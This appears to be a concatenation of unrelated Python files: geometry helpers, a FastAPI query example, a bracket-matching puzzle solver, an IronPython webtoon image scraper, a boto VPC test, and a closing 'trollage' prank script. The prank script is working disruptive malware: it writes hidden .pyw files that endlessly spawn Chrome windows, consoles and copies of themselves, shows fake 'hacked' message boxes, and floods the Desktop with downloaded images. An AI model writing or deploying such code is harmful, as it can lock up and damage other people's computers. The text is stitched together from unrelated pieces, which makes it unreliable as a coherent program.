    # As was found in debugging, sometimes computing error cause
    # the algorithm believe that the collision point is located outside
    # the segments (usually at scale of 1e-15).  It seems to happen only
    # on horizontal lines.  Thus, let's add some margin of error.
    min_corner = (
        min(box_corner_1[0], box_corner_2[0]) - library.constants.ERROR_MARGIN,
        min(box_corner_1[1], box_corner_2[1])
    )
    max_corner = (
        max(box_corner_1[0], box_corner_2[0]) + library.constants.ERROR_MARGIN,
        max(box_corner_1[1], box_corner_2[1])
    )

    return (min_corner[0] <= point[0] <= max_corner[0]
            and min_corner[1] <= point[1] <= max_corner[1])

def rotation_matrix_2d(
    alpha: float
) -> np.ndarray:
    """
    Calculates 2D rotational matrix for given angle alpha (counter
    clockwise for xy-plane with inverted y, like in our case)
    """
    cosine = np.math.cos(alpha)
    sine = np.math.sin(alpha)
    return np.array([
        [cosine, -sine],
        [sine, cosine]
    ])

def mirror_vector_2d(
    input_vector: Tuple[float, float],
    mirror_normal: Tuple[float, float]
) -> Tuple[float, float]:
    vec: np.ndarray = np.array(input_vector)
    normal: np.ndarray = np.array(mirror_normal)
    # Normalize the normal (lol)
    normal /= np.linalg.norm(normal)
    # Substract 2 projections of movement onto normal to get the
    # reflected vector
    vec -= 2*(normal.dot(vec))*normal
    return (vec[0], vec[1])

def change_origin(
    point: Tuple[float, float],
    old_origin: Tuple[float, float],
    new_origin: Tuple[float, float]
) -> Tuple[float, float]:
    """
    Shifts origin of `point`'s coordinates from `oldOrigin` to
    `newOrigin`
    """
    new_point = []
    for old_coord, old_offset, new_offset in zip(point, old_origin, new_origin):
        new_point.append(old_coord + old_offset - new_offset)
    # If the specified origin had less dimensions, leave remaining
    # ones unchanged
    if len(new_point) < len(point):
        new_point.extend(point[len(new_point):])
    return new_point


from typing import List, Optional
from fastapi import FastAPI, Query

app = FastAPI()

# 複数クエリー
# 値のリストを受け取る
@app.get("/items/")
async def read_items(q: Optional[List[str]] = Query(None)):
    query_items = {"q": q}
    return query_items


import fileinput
from collections import deque

data = [line.strip() for line in fileinput.input()]

opening = ("[", "(", "{", "<")
closing = ("]", ")", "}", ">")
scores = {
    "]": 57,
    ")": 3,
    "}": 1197,
    ">": 25137,
}

d = deque()
s = 0
for line in data:
    for parenthesis in line:
        if parenthesis in opening:
            d.append(parenthesis)
        elif parenthesis in closing:
            last_open = d.pop()
            if opening.index(last_open) == closing.index(parenthesis):
                continue
            else:
                s += scores[parenthesis]

print(s)


import clr
clr.AddReferenceToFileAndPath(r"D:\Lib\dll\NSoup.dll")
import NSoup

import System
from System.IO import *
from System.Net import *

debug = True
image_ext = None

def Download(url,filename,referer):
    wc = WebClient()
    wc.Headers.Add ("User-Agent", 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36')
    wc.Headers.Add ("Referer", referer)
    try:
        wc.DownloadFile(url, filename)
    except:
        print( url, "except" )

def DebugSave(filename,data):
    if debug:
        with open(filename, "w") as f:
            f.write(data.encode("utf-8"))

def DebugPrint(data):
    if debug:
        print(data);

def getWolfCom(comicsUrl,baseUrl,baseDir):
    doc = NSoup.NSoupClient.Connect(comicsUrl).Get()
    #DebugSave("a.html",doc.Html())
    elems = doc.Select("div.box > div.group.left-box > div.webtoon-bbs-list.bbs-list > ul > li");
    #DebugPrint(elems.Html());

    print(doc.Title)
    new_dir = Path.Combine(baseDir, doc.Title.replace(":","_"))
    if not Directory.Exists(new_dir): Directory.CreateDirectory(new_dir)
    print(new_dir)

    for e in elems:
        url = e.Select("a").First.Attr("href")
        if not url: continue
        url = baseUrl + url

        doc = NSoup.NSoupClient.Connect(url).Get()
        imgs = doc.Select("section.webtoon-body > div.group.image-view > img")
        print(doc.Title)

        sub_dir = Path.Combine(new_dir, doc.Title.replace(":","_"))
        if not Directory.Exists(sub_dir): Directory.CreateDirectory(sub_dir)

        k = 1;
        for img in imgs:
            img_url = img.Attr('src')
            if not img_url: continue
            if image_ext == None or img_url.endswith(image_ext):
                if( not img_url.startswith("http") ):
                    img_url = baseUrl + img_url
                file_name = "img_%04d.jpg" % k
                Download( img_url, Path.Combine(sub_dir, file_name), comicsUrl)
                print( img_url + " -> " + file_name )
                k = k + 1

def getFoxComics(comicsUrl,baseUrl,baseDir):
    getWolfCom(comicsUrl,baseUrl,baseDir)

def getWToon(comicsUrl,baseUrl,baseDir):
    doc = NSoup.NSoupClient.Connect(comicsUrl).Get()
    #DebugSave("a.html",doc.Html())
    elems = doc.Select("div.row > div.wvlist > div.left-box > div.wbody > ul > li");
    #DebugPrint(elems.Html());

    print(doc.Title)
    new_dir = Path.Combine(baseDir, doc.Title.replace(":","_"))
    if not Directory.Exists(new_dir): Directory.CreateDirectory(new_dir)
    print(new_dir)

    for e in elems:
        url = e.Select("a").First.Attr("href")
        if not url: continue
        url = baseUrl + url

        doc = NSoup.NSoupClient.Connect(url).Get()
        imgs = doc.Select("section.body > div.container > div.row > div.wview > div.wbody > img")
        print(doc.Title)
        #DebugSave("b.html",doc.Html())

        sub_dir = Path.Combine(new_dir, doc.Title.replace(":","_"))
        if not Directory.Exists(sub_dir): Directory.CreateDirectory(sub_dir)

        k = 1;
        for img in imgs:
            img_url = img.Attr('src')
            if not img_url: continue
            if image_ext == None or img_url.endswith(image_ext):
                if( not img_url.startswith("http") ):
                    img_url = baseUrl + img_url
                file_name = "img_%04d.jpg" % k
                Download( img_url, Path.Combine(sub_dir, file_name), comicsUrl)
                print( img_url + " -> " + file_name )
                k = k + 1

if __name__ == "__main__":
    url = [
        "https://wtwt30.com/v1?toon=1079",
    ]
    baseDir = r"D:\Temp2"
    for u in url:
        pos = u.find("/",len('https://')) #"https://wfwf105.com",https://fxfx21.com
        baseUrl = u[:pos+1]
        #getFoxComics(u,baseUrl,baseDir)
        getWToon(u,baseUrl,baseDir)


import os
import boto
import boto, boto.ec2
import unittest

class TestVPCOperations(unittest.TestCase):
        def setUp(self):
                self.endpoint = os.environ['OS_HOST_IP']
                self.aws_access_key_id = os.environ['VPC_USER_EC2_ACCESS_KEY']
                self.aws_secret_access_key = os.environ['VPC_USER_EC2_SECRET_KEY']
                region = boto.ec2.regioninfo.RegionInfo(name="nova",endpoint=self.endpoint)
                self.conn = boto.connect_vpc(self.aws_access_key_id,
                        self.aws_secret_access_key,
                        is_secure=False,
                        region=region,
                        port=8773,
                        path="/services/Cloud")
                self.cidr = "10.0.0.0/24"

        def test_create_subnet(self):
                self.vpc = self.conn.create_vpc(self.cidr)

        def tearDown(self):
                pass

if __name__ == '__main__':
    unittest.main()


"""
Written by onion and 3s0
https://github.com/onion
https://github.com/3s0

Moral support by
https://github.com/MoralSupportMistro
"""

import os
import subprocess
import urllib.request

def main():
    # creates a new file - this is used so multiple trollings could happen at once :^)
    # opens a new chrome window, and opens itself multiple times
    f = open('chrome.pyw', 'w')
    f.write('''import os
import subprocess

def open1():
    while True:
        os.system('start chrome')
        subprocess.call('py chrome.pyw', creationflags=subprocess.CREATE_NEW_CONSOLE)
        subprocess.call('py chrome.pyw', creationflags=subprocess.CREATE_NEW_CONSOLE)
        subprocess.call('py chrome.pyw', creationflags=subprocess.CREATE_NEW_CONSOLE)

open1()
''')
    f.close()

    # creates a new file - this is used so multiple trollings could happen at once :^)
    # opens up a message box with one of the strings in the possible_strings array, chosen pseudo-randomly
    # also opens up multiple instances of itself for multiplied trollage :)

    f2 = open('YouveBeenChromed.pyw', 'w')
    f2.write('''import subprocess
import ctypes
import random

possible_strings = ['You\\'ve been chromed!', 'hacked by chinese', 'onion owns you', 'es0t owns you']
message_box = ctypes.windll.user32.MessageBoxW

def getChromed():
    while True:
        subprocess.call('py YouveBeenChromed.pyw', creationflags=subprocess.CREATE_NEW_CONSOLE)
        subprocess.call('py YouveBeenChromed.pyw', creationflags=subprocess.CREATE_NEW_CONSOLE)
        subprocess.call('py YouveBeenChromed.pyw', creationflags=subprocess.CREATE_NEW_CONSOLE)
        message_box(None, possible_strings[random.randint(0, len(possible_strings) - 1)], 'trollage', 0)

getChromed()
''')
    f2.close()

    subprocess.call('attrib +h ' + 'chrome.pyw')
    subprocess.call('attrib +h ' + 'YouveBeenChromed.pyw')
    subprocess.call('py chrome.pyw', creationflags=subprocess.CREATE_NEW_CONSOLE)
    subprocess.call('py YouveBeenChromed.pyw', creationflags=subprocess.CREATE_NEW_CONSOLE)

    url = "https://upload.wikimedia.org/wikipedia/commons/thumb/a/a5/Google_Chrome_icon_(September_2014).svg/1200px-Google_Chrome_icon_(September_2014).svg.png"

    # creates lots of images on the desktop of the chrome icon
    num = 1
    desktop = os.path.join(os.environ["HOMEPATH"], "Desktop")
    os.chdir(desktop)
    for i in range(100):
        r = urllib.request.urlopen(url)
        with open('YouveBeenChromed' + str(num) + '.png', 'wb') as img:
            img.write(r.read())
        num = num + 1

    # creates lots of images in the onedrive desktop
    num = 1
    desktop = os.path.join(os.environ["HOMEPATH"], "OneDrive/Desktop")
    os.chdir(desktop)
    for i in range(100):
        r = urllib.request.urlopen(url)
        with open('YouveBeenChromed' + str(num) + '.png', 'wb') as img:
            img.write(r.read())
        num = num + 1

if __name__ == '__main__':
    main()